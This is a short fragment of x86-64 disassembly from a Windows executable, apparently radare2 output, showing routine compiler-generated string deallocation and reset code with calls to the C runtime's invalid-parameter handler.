mov rdx, qword [rsp + 0x120]
cmp rdx, 0xf
jbe 0x1400084b8
inc rdx
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400084b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400084b3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e790
mov qword [rsp + 0x118], r14
mov qword [rsp + 0x120], 0xf
mov byte [rsp + 0x108], 0
movzx edx, byte [rsp + 0x1a0]
lea rcx, [rsp + 0x1a8]
call fcn.14000ef50
nop
jmp 0x140008004
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14000f5a0
int3
call fcn.1400015f0
nop
call fcn.14000f5a0
int3
call fcn.1400015f0
int3